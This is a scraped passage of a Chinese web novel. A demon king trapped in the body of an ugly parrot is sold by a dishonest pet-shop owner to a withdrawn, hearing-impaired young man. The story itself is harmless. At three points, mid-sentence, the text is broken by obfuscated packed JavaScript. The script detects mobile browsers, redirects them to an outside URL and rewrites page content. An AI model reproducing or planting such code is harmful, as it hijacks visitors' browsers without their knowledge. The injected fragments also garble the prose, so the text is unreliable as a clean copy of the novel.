《咸鱼小鸟,但它超会的》 1. 鸟太丑了 桐城。 天气雾蒙蒙的还下着小雨,街上人不多,临街的一个小店里,带着眼镜的胖老板正在对着直播间介绍着自己店里的鹦鹉。 “好,大家来看看我们这只鹦鹉,正宗的蒜头葵花,进口的,懂的大家应该都知道的这个品种的怎么也得1万五,这只品相是差了点,但是绝对没有问题,这是它太活波了,跟别的鸟打架打的,养养就好了,除了影响点美观健康的很,喜欢活泼快乐型的选他绝对没有问题,而且今天特价,就这么一只了,5千家人们就可以带走了,先买先得,想买的注意了左下角马上上连接......。” 直播间里的人看着这只鸟直接炸锅了。 【会说话吗?】 【哈哈,好丑。】 【老板还是谦虚了,这品相是差了点吗。】 【这么丑谁会买啊,送都不一定会有人要。】 【还真是,那样子一看就是只病鸟。】 【老板这只活泼你是怎么看出来的。】 【老板,都快翻白眼了还在直播呢?】 直播间的画面里。 一只鹦鹉被关在笼子里,它白色毛羽,头顶上有几根黄色的毛,手掌大小,蔫蔫的,看起来应该还没成年。 本来这个时间段应该是小鸟最可爱的阶段,别的鸟都是胖嘟嘟,毛绒绒的,小巧可爱,奈何这只毛色枯燥,没有丝毫的光泽,而且头上的几根黄毛更是残缺不全的冲着天长,活像被谁啃了一样。 那品相要多丑就有多丑,最主要的是它死气沉沉的在笼子边靠着,还时不时的翻着白眼,那样子看起来别说活泼了,应该马上都要死了。 老板看着直播间那一条条的谩骂声还试图继续解释着。 “才2个月,还不会说话,不过这个品种很聪明,很容易教的,这只鹦鹉不是快死了它就是喜欢演戏,演戏懂吗?没死,活的好好的。” 他话音刚落下,谁知道身后的鹦鹉突然就顺着笼子的边缘慢慢的滑了下来,然后啪叽一下倒了下去,那小小的身子甚至还猛的瑟缩了一下然后再也不动了。 老板看到这个画面就知道自己绝对完了,果不其然这下直播间的人更不买帐了。 【死了?好像是死了吧。】 【笑话,鹦鹉还会演戏,你咋不送他去考中戏。】 【这都不动了。】 【老板别说了,快去救命吧。】 【好可怜的一只鸟,估计上吊了都以为在玩绳子呢。】 【垃圾老板,谁买你的东西谁倒霉。】 【虐待动物,拉黑拉黑。】 老板看着一条条评论只好愤愤的关掉了直播。 谁知道他前脚刚关完直播,后脚笼子里的鸟就抖了抖自己的翅膀睁开了眼,那双豆豆一样大的眼睛机灵的眨着,跟刚才的模样简直判若两鸟,任谁看了都不会说它是快死了。 老板看着它这模样觉得自己应该是快被它气死了,这都好几次了每次一直播就搞这出死样子,一直播完立马就原地复活,以至于他卖了好几次都没把它卖出去,连带着粉丝都掉了许多。 笨,不会说话就算了还专门跟他作对。 江与停忽略着老板的眼神抬着爪子顺了顺头顶上的呆毛。 哎,爽,看他的表情就觉得爽,爽极了。 一天前,他醒来的时候就发现自己来到了这里,而且他堂堂一方大妖竟然变成了一只鹦鹉,还被眼前这该死的老板训骂,不会说话就饿肚子。 人可忍鸟不可忍。 江与停虽然不记得自己为什么会这样,但是它依稀记得自己好像刚出妖界就碰到了妖管局的人,所以他觉得肯定是该死的他们干的。 可怜自己卷生卷死才获得的妖力就这么没了。 不过幸好他现在呆的这个地方离他们总部远的很,否则他现在连个妖力都没有被发现直接就完了。 他们就算了,眼前的老板算个什么东西,他绝对得让他见识一下什么叫鸟心险恶。 江与停还不太习惯当鹦鹉,以至于爪子一不小心就把头顶上的一根呆毛勾掉了,本来就没有几根的毛还掉了一根,这一看更丑了。 老板看着它这模样差点儿气心梗了。 昨天的一场大雨给这座南方城市带来了久违的冷空气。 这家店不大,今天还下着小雨,别说店里了,街上都没有一个人的,老板一个生意都还没做,本指望着直播卖出去一点,谁知道这效果还不如不直播呢。 他看着这只鹦鹉直接就上头了,越看越生气,气的一巴掌扇在笼子上,笼子瞬间就在原地旋转了起来,江与停还没反应过来就被这巨大的推里推的四处摇晃。 老板气的脸都红了:“我还治不了你,四回了,一次都没卖出去,回回搞事情,长得丑就算了,不会说话也算了,你这装死是个什么东西,赔钱的玩意儿。” 谁知道他刚说完店里又传来了另外一道声音。 “赔钱玩意儿。” 老板听到声音转过头去,在他身后不远处的树枝上站着一只蓝黄金刚鹦鹉,黄色的小脑袋,蓝色的身子,小眼睛滴溜滴溜的转着,可爱的不行。 他脸色缓和了一些,从旁边掏出一把鸟食喂给了它。 “还是我的花花乖,来,多吃点。” 他身后疯狂旋转的笼子好不容易停了下来,江与停差点被晃吐了,整只鸟就那么趴在角落里,要不是他的妖力也突然没有了它能一巴掌把他拍死。 “啾啾啾。” 【你给我等着,我不会放过你的,敢这样对我,愚蠢的人类,该死。】 江与停在笼子里疯狂的嚎叫着,老板听着那叽叽喳喳的声音还以为它突然疯了。 他没好气的看了那只鸟一眼。 “叫什么叫,连句话都不会说,一会儿就卖了你,贱卖。” 江与停瞪着他疯狂输出。 “啾啾啾。” [你还贱人呢,等我出来要你好看,还卖我,谁敢买我我就咬死谁……] 果然,妖界的话本里说的不错,人类都是坏的。 老板听着他这叽叽喳喳叫个不停,刚想给它个颜色瞧瞧,结果门口走进一个人来。 他一把按住了鸟笼子,发狠的说: “你给我闭嘴,这次再卖不出去你就等着饿死吧,赔钱玩意儿。” 说完之后才抬眼向着门口看过去,只见面前逆着光站着的是一个年纪不大的男子,看样子也就二十岁左右。 那人身量极高,他就站在门口,身体好像能挡住门口所有的光,老板不由得多看了几眼,这一看才发觉不得了,实在是太帅了。 外面下着小雨,少年也没有打伞,身上就穿着一件黑色的冲锋衣,冲锋衣的帽子遮盖着头顶,漏出大半张脸来,只是仅仅那半张脸也可以看出来是个极其俊俏的少年。 这少年不仅长得身量高挑,而且肤色冷白,眉目俊秀,尤其是眼睛,长得尤为的好看,只不过也不知道为什么眼睛里好像没有什么温度,给人一种浓浓的疏离感。 他做生意二十多年了,见过的客人千千万,倒是几乎从未见过他这模样的,看一眼就让人永远也忘不掉了。 少年摘下头上的帽子走了进来,锋利的下颚线让他那俊逸的五官看起来就少了一丝少年气多了一点冷峻与矜贵。 老板一眼就看到了他耳朵上戴着的东西,也不知道是个啥。 江与停本来在笼子里疯狂的嚎叫,这下子突然蔫了下来,眼睛也直勾勾的看着眼前的少年看。 以至于整个鸟身子都贴在了笼子上,那模样看起来相当的滑稽。 老板收回嗓子轻咳嗽了一声,同时内心里不住的吐槽。 大家都是人,也不知道别人是怎么长得,也太好看了一些,他突然有些自卑的缩了一下自己的大肚子,他要是有这个颜值直接就去当网红了还卖什么鸟啊。 他擦了擦手迎了上来。 “那个,您好,需要点什么,我给您介绍一下。” 裴一舟没有看他,眼神淡淡的扫了一下店里。 “随便看看。” 虽然他说话的声音很好听,但是好像就是没有丝毫的情绪,像是一个正在工作的人机一样,没有任何的起伏。 老板一看他就知道是个外门人,而且那模样瞧着也挺有钱的,于是就主动的介绍了起来。 他把那只刚回来没多久的金刚鹦鹉拿了过来,鹦鹉就乖乖的站在他的胳膊上没动。 “那我给您介绍一下鹦鹉怎么样,看看,这只我们的王牌,蓝黄金刚鹦鹉,不仅模样长得好看,还不拆家,最主要的会说话呢,在家还能逗乐玩,来,说两句。” 鹦鹉歪着脑袋看他,然后脆生生的开口了。 “你好帅哥,恭喜发财,万事如意,心想事成。” 老板异常骄傲的拍了拍它的脑袋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288231|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “怎么样?还不错吧,不仅会说话,而且还会唱歌呢,来唱个。” 鹦鹉又在继续展示着自己的才艺,江与停看着他这滑稽的表演鄙夷的看了他一眼。 切,也只能当个宠物了。 眼前的少年始终都没有怎么说话,老板也不知道他什么意思,他做生意那么久很会看人脸色,但眼前的这个人他怎么都看不懂。 他也不知为什么这人年纪明明不大,但是站在他面前他还有些紧张。 他搓了搓手,说:“不喜欢的话要不我再给您介绍一下其他的,我们这里什么品种的都有,或者你有喜欢的我也可以给你找找。” 裴一舟觉得自己可能真的是疯了,怎么会听从心理医生的话来到了这里。 心理医生建议他养一个宠物,这样或许会对他的病情有所改善,只是他从不喜欢任何的宠物,而且他不认为自己是个合格的主人。 不过他看着屋子里各式各样的小鸟,既然来了这里或许他可以尝试一下,所以买哪个,买什么并不重要。 “好,就这个吧。” 老板愣了一下,没想到对方这么痛快就决定了,于是又一把把旁边挂着的笼子也捞了过来。 “那个是这样的,那只鹦鹉跟这个是朋友,别看它长得丑,两只鸟经常粘在一起,谁也离不开谁,离开一会儿就茶饭不思,我也不想他们分开,不如这样吧,刚刚那只两万块,这只送给你了,就当结个善缘了。” 江与停听着自己好像被买一送一送给别人了,刚想发怒要把他这一单生意搅黄,不过回头一想好像也不错啊。 这帅哥长得真不错,而且看样子还挺有钱,怎么也比这个坏老板强,等他出去了不是有的是办法离开。 于是他当即顺利的接受了自己被他领养走的事实。 所以当对方的眼神看过来的时候,江与停就特别乖巧的歪了歪脑袋,小豆豆眼眨巴眨巴的,还顺便把刚才头上掉下来的那根羽毛插在了头顶上,一副看起来乖巧可爱的小模样。 “啾啾。” 那模样好像在说:养我啊,我超乖的。 不过他显然不知道自己这个形象做什么都很滑稽。 裴一舟看了一眼笼子里的鹦鹉,没说话点了点头。 老板高兴极了,没想到会遇到这样的冤大头,麻利的就收拾东西,顺便还送了一些鸟食,交代了一些注意事项。 江与停被装在鸟笼子里跟着那少年回家,谁知道半个小时后,江与停看着周围越来越陈旧的建筑,心里咯噔了一下,这儿怎么还有这么破的地方。 他在妖界出来的时候还特意学习了一下人间的东西,妖界的东西需要抢,而人间交易是需要钱的,一万是可以买好多好多东西的,花这么多钱买鸟总不会穷吧。 又半个小时后,江与停看着少年转身走进了一个破败的筒子楼。 筒子楼看起来少说也得有50年了,墙上的墙皮斑驳的脱落了下来,顶上的灯也时亮时不亮了,就连步梯都已经破败的不像样子了。 江与停想着外面破没事,说不定里面别有洞天呢。 结果随着少年打开屋门之后,江与停简直惊呆了。 屋里一眼就望到头了,家具更是少的可怜,进来都可以直接打地铺原地睡觉的既视感。 房子两居室,屋子不大,但是收拾的很干净,以至于进来的时候都能感觉到一股冷清的感觉。 江与停仰天长啸了一声,我的老天爷呀,这破房子真的可以住人吗,他一个妖都没有住过这样的地方。 江与停非常纳闷,这么好看的少年怎么会住在这里的呀,他没有家人吗? 少年把笼子往桌子上一放转身进了浴室,没多久里面就穿出来了洗澡的声音。 江与停还在四处瞅着,结果一扭头就发现另外一只笼子里的鹦鹉抬脚吧嗒一声打开了笼子门,然后扭头看了它一眼。 “丑八怪,丑八怪。” 江与停对于他这技能惊呆了,他看了看关着自己的笼子说:“要不你也帮我一下?” 只要笼子打开他就自由了。 谁知道对方给了他一个眼神就那么华丽丽的飞走了。 江与停尝试着用自己的爪子试了几次没想到它还不怎么会控制这个爪子完全弄不开,于是又改成了嘴巴。 等裴一舟出来的时候就看到那只鹦鹉好像正在尝试用自己的嘴巴开笼子。 2. 鸟也有洁癖 “你要离开吗?” 裴一舟觉得这画面有点搞笑,怎么会有鸟用嘴巴开笼子。 空气有那么一瞬间的凝固。 江与停没有想到自己就这么被抓包了,而且那只该死的鸟自己跑了,就剩下他自己了,说不定这个人会把所有的怒气都发泄到自己身上。 江与停有些尴尬的抬起了头,结果一抬头才发现悲剧了,自己的嘴巴给卡在锁眼里头出不来了。 那脚步声越走越近,他紧张的拿着爪子使劲的抓着门试图把自己的嘴巴从里面拯救出来,可是无论他怎么努力依旧无济于事。 他整只鸟被卡在那里想叫叫不了,想动动不了,简直像是在接受凌迟的处刑。 但是就算死了他也不想找人类救助,不过如果有人可以来救救他的话,他还是很乐意接受的。 他整个鸟被吊在半空中,呼吸都急促了起来,就在他觉得自己要死的时候一只手慢慢的拖起了它的身体,下一秒咔哒一声自己的嘴巴终于解放了出来。 江与停第一反应就是深呼吸了几口空气,然后猛的后退了几步抬起小小的眼睛冲着对方看。 裴一舟刚洗完澡出来,头发整个都湿漉漉的搭在脑袋上,那双浅绿色的眼睛被水汽洗过之后明亮有神,整个人身上都充满着一股少年之气。 而且从他的角度看过去可以更清楚的看清他的五官。 清晰的下颌线,高挑的鼻梁,漂亮到几乎完美的瑞凤眼。 他在看他,裴一舟也好奇的打量着这只鸟,很奇怪从刚才开始就一直警惕的看着他,他还以为他来到陌生的环境所以紧张了,他想摸了一下他的脑袋,谁知道那小家伙麻利的就躲开了,身体贴着笼子小脑袋差点伸到笼子外面去。 “啾啾。” 【走开,休想摸我的头,我又不是宠物,只有宠物才会摸头,我是大王。] 那小鸟小小的拒绝自然被他看在眼里,裴一舟见状只好把自己的手撤了回去。 “好了,走吧,你自由了。” 他话音刚落江与停直接就愣住了。 啊?这就放他走了,好像跟他想的不太一样。 那人说完之后好像已经完全把他都遗忘掉了一般,自顾自的坐在不远处的沙发上拿着一个转头一样的东西不知道在干什么,那砖头还在发光。 他知道那个东西叫手机,他以前在妖界的时候偶然捡到过一次,他用这个东西还玩过游戏,也看过别人直播,所以大家都说人间很恐怖,但是那个手机里的明明都非常美好,所以他才要出来看一看。 裴一舟不理他,江与停只好隔着笼子跟他对望着。 “啾啾,啾啾。” [人,喂,你听的见吗。] [你真的要放我走吗。 [虽然我很讨厌人,但是好像不讨厌你啊。] [对了我们互相认识一下啊,我叫江与停。] [你也算救了我,对我们妖来说,也是需要回报的,你需要什么呢?] 可是任凭它怎么喊叫,对方好像都没有任何的反应。 江与停叫累了,就尝试着从笼子里走了出来。 他活动了活动身子,在笼子里关久了身体都快僵了,只不过这具身体相对于他的本体来说小太多了,他还没习惯的了,一脚踩下去直接摔了个结实。 他索性就躺在地上不动了,他的视线上移,好不容易又看到了那个人。 他觉得他脸上的表情总是淡淡的,好像带着一些悲伤,无论是玩手机也好,说话也好,永远都是那副表情,好像任何东西都不能够激起他的欲望。 裴一舟回完信息后又从抽屉里拿出一瓶药,从里面倒出了三颗安眠药出来,虽然医生说安眠药要少吃,对身体不好,可是昨天他又几乎一晚上没有睡,有时候他都不得不感叹安眠药真是个好东西。 他想睡着,睡着才能看到自己相见的人,他恨不得活在梦里的世界里去。 他闭着眼睛拿起桌子上的水杯饮了下去,药带着一丝苦涩的味道穿过他的喉咙落了下去。 喝完药他把水杯放在了桌子上,然后就那么安静的靠在了沙发上,如果不是那安静起伏的胸膛江与停都以为他是不是死了呢。 裴一舟没有带助听器,闭上眼睛之后好像整个世界都只有他一个人一样,一切都那么虚无不真实,这样就没有人可以在睡梦中打扰他了。 自从上次受伤之后他耳朵就听不见什么东西了,不过他不喜欢带助听器,听不听的见东西对于他而言也并没有那么重要。 江与停看着桌子上放着的白色耳机,嗓子都快喊哑了,这才突然意识到一件事情,他好像听不到啊。 那一刻它感觉有什么东西瞬间直冲他的脑海。 江与停受不了扑腾着翅膀蠢蠢欲试的想要飞到他的身边,但是因为他还不怎么会控制这具身体,刚起飞吧嗒一声又落在了地上。 他没办法只好在地上踩着一步一步的挪到了他的身边。 他好不容易才爬上那个很高的沙发,结果刚爬上了一个不稳就掉了下去,只是想象中的疼痛没有来,一只手突然伸出接住了它。 那只手骨节分明,又大又有力,江与停就稳稳的落在了他的手掌心。 他没有想到对方反应会这么的迅速。 裴一舟睁开眼睛,眼里一闪而过的戾气,他很讨厌被人打扰。 只不过他低头看着手里的这只小鹦鹉,好小,还长得不好看,毛色枯黄,好像他只要稍稍一用力他就会死在他的手里一样,也不知道为何他总觉得它的眼神看向他的时候很奇怪,不像是只小鸟,倒像是个人类。 不过他在他身上没有感觉到任何的危险,他没有养过鸟,也许鸟都是这样的。 江与停这么近距离的看着他,这才发觉这张脸还真是好看的惊人啊,冷白皮,大眼睛,皮肤好的好像没有任何的瑕疵,但是他好像胳膊处有一道很陈旧的伤痕。 一人一鸟这么对望着,他是个好人,江与停这么认为。 江与停本来是想走的,但是他想了想他现在连个妖力都没有,妖界是回不去了,而且人间危险的很,他就这么出去的话不是被妖管局的人打死就是会被野兽吃掉。 他刚才观察了一下,这屋明显就只有他一个人住,没有女人,也没有男人,更没有父母什么的。 这里虽然很破,但是私生活看起来干净的很,看起来还是很安全的,最主要的是自由不用关笼子。 而且眼前的人也救了自己,穷是穷了点,他可以忍耐一下,只不过这段时间他要当好一个宠物了,否则很容易被发现。 他觉得现在如果是只宠物的话应该要蹭蹭主人的手了,所以他尝试着底下了小脑袋,只不过他没蹭过人险些又翻下去。 裴一舟看着他的举动都不由的怀疑他是不是只鹦鹉了,这模样活像是第一次当鹦鹉。 江与停也不管了,他站在他的手心,脚踩着他右手食指上的戒指上,那戒指冰冰凉凉的也不知道是什么材质。 它眨巴着眼睛叫了几声。 “啾啾。” [人,你是不是听不见我说话啊。] 裴一舟看着它的小嘴巴一张一合,他没有带助听器,自然听不到它的任何声音,只不过就算他听的见也不知道他在说什么。 “你朋友都走了,你也走吧。” 江与停歪着脑袋看他。 “啾啾啾。” [我不走了。] 江与停也是第一次当宠物,不过他看见过别的鸟类给他献殷勤的时候,一般都是给他送羽毛什么的。 于是看他没说话江与停又从自己身上挑了半天,实在是身上的每一根毛看起来都挺丑的,好不容易找出一根最美的羽毛送给了他。 在鸟类的世界里,送羽毛就相当于求爱。 裴一舟虽然没有养过鸟,但是也听过这个传闻。 只不过看他这么用心的挑了一根羽毛,还眼巴巴的看着他,于是就伸手接了过来。 “给我的礼物?我收下了。” 江与停插着翅膀道: “啾啾啾。” [那你是同意我住在这里了,这就算是我给你的房租了哦。] 裴一舟也听不懂它在说什么,只以为它是不是饿了。 “饿了吗。” 江与停继续啾啾啾,裴一舟带着它来到了窗边,窗边下面放着一张桌子,桌子上是带回来的鸟粮。 他找了个空碗,挖了一些鸟粮出来,还顺便给它倒了一些水。 “吃吧,吃完就走吧。” 说完之后转身就往卧室去了,江与停本来想跟着他去的,没想到被人直接关在了门外,然后冷冰冰的下了逐客令。 “你只可以待在客厅里,没有我的允许不可以进我的卧室。” 说完之后直接关上了房门。 “啾啾。” 【怎么回事,都收了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288232|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼物了还赶自己走,我给你当宠物你应该感恩戴德。】 【算了,看你那么可怜的份上原谅你了。】 江与停看着紧闭的房门只好又飞了回来,它看着桌子上的那一碗鸟粮,伸着鼻子闻了闻,然后异常嫌弃甩了甩脑袋。 吃是不会吃的,他又不是真的鸟,谁会吃那玩意儿啊。 他在屋子里飞了几圈,结果发现这屋是真干净啊,连个吃的都没有。 也不知道他一个人是怎么生活的,它好不容易在厨房里找到了一个生的鸡蛋,就在它考虑着自己要不要吃的时候门外突然响起了敲门声。 江与停看到裴一舟没听到,于是自己就飞到门口,爪子抓住门把手,没想到两只爪子一起用力,门很轻松的就打开了。 江与停发觉自己好像知道怎么掌控爪子了。 门外站着的小哥刚把东西放在门口,他本来就是敲门提示了一下,结果门就打开了。 等他还没反应过来的时候从里面突然飞出了一只鸟,也不知道什么鸟,但是丑不拉几的。 小哥挠了挠头,又看了看门牌号,是这个地址没错啊,他每天都会过来送饭,至于为什么他也没有多问,钱给的够多就行,以前都是放在门口就走的,以至于他连里面的人看都没看见过。 谁知道今天门打开了里面出来的只鹦鹉。 小哥也不知道自己脑子怎么了,好像突然就短路了,冲着门口的小鸟问道:“你好,先生?您的外卖?” 江与停远远的就闻到了袋子里的香气,简直要被馋晕了。 以前他哥哥来人间的时候就会给他带很多好吃的,但是很奇怪他已经成一个大妖了他们也不允许自己出去。 “啾啾啾。” [是,是我的外卖,外卖给我吧。] 江与停刚想伸手,这才发觉自己好像没有手,而且小哥好像也听不懂它说话,于是伸出两只爪子一把抓住了外卖的袋子,飞着进了屋里。 小哥看着他的动作直接惊的立在了门外。 “妈呀,这鸟成精了。” 江与停放好外卖之后又飞了回来。 “啾啾。” 【愚蠢,什么叫成精了,我是妖。】 还没等小哥反应过来,门又在他眼前咣当一声关上了。 这鸟不仅会开门取外卖,还会关门。 小哥都差点以为自己出现幻觉了,抓着手机就跟对面雇主报告了起来。 “先生,我刚才过来送饭......。” 江与停看着桌子上的外卖香的他差点都流口水。 只不过他如果现在吃了,估计一会儿裴一舟醒来就没得吃了,它就只好等着他醒来。 他是一只宠物,宠物是要等主人醒来的。 裴一舟这一觉也没有睡多久,醒来的时候才过去半个小时,他的额头上沁出一层密密的汗珠,果然又做噩梦了,可是他不会后悔。 他缓了一会儿才出来,等他出来的时候就没有看到那只鹦鹉的身影了。 他也没有什么意外的,走就走了,只是它好像不喜欢吃鸟粮,一口都没吃,也不知道那么小能不能活。 不过他看着桌子上的外卖有点疑惑,以前不是都放在门口的吗?怎么今天拿进来了。 屋里只有他一个人说不定他忘记关门了。 他刚坐下来打开外卖,一只鸟就睡眼朦胧的从屋顶上飞了下来,那速度太猛,差点没刹住掉进汤里去。 裴一舟把汤往边上挪了挪,以防它再不小心弄撒了。 “你怎么还没走?” 江与停直勾勾的看着桌子上的外卖,果然很穷,都是素的,不过闻起来好香。 裴一舟:“喜欢吃这个?” 虽然桌子上都是素菜,唯一带点荤腥的估计就是那个鸡蛋了,但是江与停也一上午没吃饭了,还饿的紧。 裴一舟很是疑惑。 “你是小鸟,可以吃鸡蛋吗?” 江与停挥舞着自己的翅膀,又指了指肚子:“啾啾啾。” [我不是鸟,当然可以吃,别说饭了,人都可以吃。] 裴一舟虽然不理解,但是还是拿出一个小碗把鸡蛋放在了他的面前,江与停眼睛都发光,刚想吃饭又突然想起了什么,人类吃饭是要洗手的,宠物应该也要洗手,于是一爪子踩在了旁边的水杯里洗了洗爪子。 裴一舟看着自己喝水的水杯里迅速的升起了一圈儿灰土。 3. 鸟有仇就报 江与停爪子踩在桌子上,它一动桌子上就留下了一串小小的爪印,看着就像是漂亮的小鸟图绘一样。 裴一舟看着杯子里不断旋转的水迹考虑着要不要告诉他这是他喝水的水杯,结果回头就看到江与停在桌子上玩起了涂鸦。 江与停玩了一会儿才想起来还要吃饭,他看了看自己湿湿的爪子又看了看桌子上的一串脚印,觉得自己好像是做的不太对,于是果断的从旁边抽出几张纸囫囵的在上面踩了踩,然后才伸出一只爪子抓起了鸡蛋。 它一只脚立着,一只脚翘起来企图把鸡蛋送到自己的嘴里,可是很遗憾他没有学会金鸟独立,脚下没有抓力直接就一个脚下不稳摔倒了。 裴一舟挑了挑眉,看着他那滑稽的小模样还真有些搞笑。 就在他想着自己要不要把它弄起来的时候,江与停已经维持着那个摔倒的姿势,躺在桌子上两只爪子一起抓着鸡蛋,一口咬了上去。 那一瞬间江与停都不知道要怎么形容好吃了,他吃过那么多次鸡蛋大部分都是一个差不多的味道,但是这个不同,也不知道咋做的,一口咬小去满嘴飘香。 他整个都快被香懵了,整个大口大口的吃了起来。 江与停一边吃一边感叹。 “啾啾啾。” [好吃,好吃,人类的食物最好吃了,虽然人不是个好东西,尤其是妖管局的执行官,但是他们做出来的东西真不错。] 说完之后又猛然感觉有什么不对,于是百忙之中伸出一只翅膀拍了拍裴一舟的手。 “啾啾啾。” [你不是哦,你长的这么好看一定是个好人。] 裴一舟感觉到那翅膀下柔软的触感,也不知道他到底在说些什么,吃个饭都还不停的在说,他家这鹦鹉好像是个话唠,没人跟他说话自己都能说个不停。 而且他还那么小,如果不想走的话那就留下吧。 江与停这边吃的还很嗨,但是很遗憾,他高估了自己,一个没注意直接就被卡住了,于是它差点被一个鸡蛋送走。 它举着自己的翅膀拍了拍自己的胸膛,想把那东西拍出去,可是没有用,没多大一会儿它觉得自己都快翻白眼了。 这次是真的,不是装的。 就在这时候突然一只手把它拖了起来放在了手心,按着他的肚子按了几下,没几下江与停就吐了出来。 裴一舟往手里倒了一点水,江与停就那么就着他的手喝了几口水。 “慢点吃,没人给你抢。” 他的声音依旧冷清,但是听在江与停的耳朵里犹如天籁之声。 他低头喝了几口水才勉强感觉自己又活了过来。 “啾啾。” [人,谢谢你。] 说完之后又尝试着把自己的脑袋伸过去蹭了一下,然后又迅速的撤离。 裴一舟觉得他这动作看起来有些好笑,不过他是不是傻的啊。 有了这次的教训,江与停吃东西就矜持了很多,很快他就把鸡蛋吃完了,但是很显然他还没有吃饱,毕竟虽然这具身体是个鹦鹉,可是他不是啊。 他的眼睛又眼巴巴的看着裴一舟的碗里,裴一舟也不知道为什么突然就理解了它的意思,他觉得这鸟好像很通人性。 “怎么了,没吃饱,要不要吃点蔬菜。” 江与停摇了摇头。 “啾啾。” [不吃,我讨厌吃蔬菜。] 裴一舟:“挑食?” 江与停:“啾啾啾。” [不挑食啊,只不过那些绿叶子草谁喜欢吃啊,他又不是兔子。] 裴一舟把菜放到了一个小碗里递到了他面前。 “尝尝。” 他都已经这么说了,江与停就有些难为情的吃了起来,结果吃完才发现跟他想象的不一样,跟他以前吃的也不一样。 好吃,太好吃了,那菜叶子丝毫没有难闻的味道,相反有一种说不出的好吃。 江与停想着自己就吃一口,没想到自己一口之后又一口,没一会儿他就吃完了,等他吃完的时候才发现自己好像把裴一舟的饭菜都吃完了,瞬间罪恶感就席卷了他的心头。 他走过去又蹭了蹭他的手。 “啾啾。” 【你不要怪我啊,实在是太好吃了。】 裴一舟好像也明白了他的意思,揉了揉他的小脑袋。 “没事,你吃吧,我不饿。” 裴一舟一边揉他的小脑袋一边拿着手机搜索养鹦鹉的注意事项,他觉得这只鹦鹉应该一时半会儿不会走了,只是他不知道他那么小的身体怎么就能那么能吃。 家里有一个吵闹的小东西应该还不错。 只不过他一搜才发现鹦鹉不能吃的太多了,他抬头看了看那只吃的小肚子溜圆的小鹦鹉。 算了,小鸟才可以活多久,开心就好。 吃完饭之后裴一舟就出门去了,江与停就在屋里飞了好几圈儿,练习飞行,不过他天分很好,没多久就已经像模像样了,他又在屋里给自己选好了一个地方,他把桌子上的盘子推到了窗户底下,然后吧唧一下躺了下去。 他就窝在盘子上选了一个舒服的姿势睡了过去,外面的小雨还淅淅沥沥的下着,他窝在窗户边吹着风,不用担心被妖管局的人发现,不用担心有人会打上他的老巢,那感觉简直太好了。 人间还是非常不错的。 江与停这一觉睡醒的时候外面天都黑了,裴一舟也不知道去哪里了还没回来。 在他感觉在人类的世界可能就是出去打工了,这么晚都还没回来,也太可怜了,他长那么好看,说不定还要被坏人刁难。 江与停趴在窝里等着裴一舟回家,突然他想起来还有事情要做。 江与停看着大开的窗户一展翅飞了出去,他现在吃饱喝足一身的力气,他报仇从来不过夜。 他飞行的还是不太熟练,一边飞一边休息,飞了大概1小时才到了卖自己的那个小店,门店开着门,但是老板显然不在,江与停搜寻了几圈这才发现他在不远处的地方吃饭。 江与停掠过他的头顶落在窗户口,那只蓝黄金鹦鹉正站在树杈子上睡觉,他就知道它又回来了。 这老板靠这个骗人的,狗东西。 那只鹦鹉听到动静就睁开了眼睛。 它看了一眼江与停,然后开口了。 “丑八怪,丑八怪回来了。” 它这一开口,屋里好多声音又跟着响了起来。 “丑八怪,丑八怪。” 江与停也不惯着他,直冲而下上来就给了它一个猛踢,抓着他的脖子就来了一个过肩摔。 虽然他身形小,但是这具身体里的人可不小,想当初他也是打遍妖界无敌手成为一方妖王的,这些小玩意儿还不够他踩的。 那鹦鹉自然不会等着被打,它体型高大,自然而然觉得自己不会输,没想到还没几下就被打趴下了。 屋里叽叽喳喳一片,地上满是飞起的羽毛,江与停的脚就踩在它的脖子处。 蓝黄金鹦鹉大叫着:“救命啊,救命啊,杀鸟了。” 才叫了一句又被江与停一爪子抓在了脑袋上,下一刻,自己头顶上那漂亮的毛就这么被抓掉了,它当即被吓的差点儿魂不附体。 于是当即改变策略立刻求饶。 “爸爸,爸爸。” 江与停呸了一口,把嘴巴里的鸟毛吐了出去。 “啾啾啾。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288233|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [叫爷爷都不行。] 这一屋子吵吵闹闹的声音终于引起了胖老板的注意。 老板摇摇晃晃的走了进来,结果一进来就发现满地的鸟羽,一只丑鸟还压着它家的宝贝鸟打。 那丑鸟不是别人,正是自己今天买一送一卖出去的赔钱货。 他当即一嗓子嚎了出去。 “你给我放手,你这赔钱玩意儿还敢回来,还把我家搞成这样,看我不打死你。” 说完拿起一旁的扫把就冲了过来,江与停看准时机躲过他的扫把向着他的脸飞去。 “啾啾。” [赔你妈,我让你看看谁才是赔钱货。] 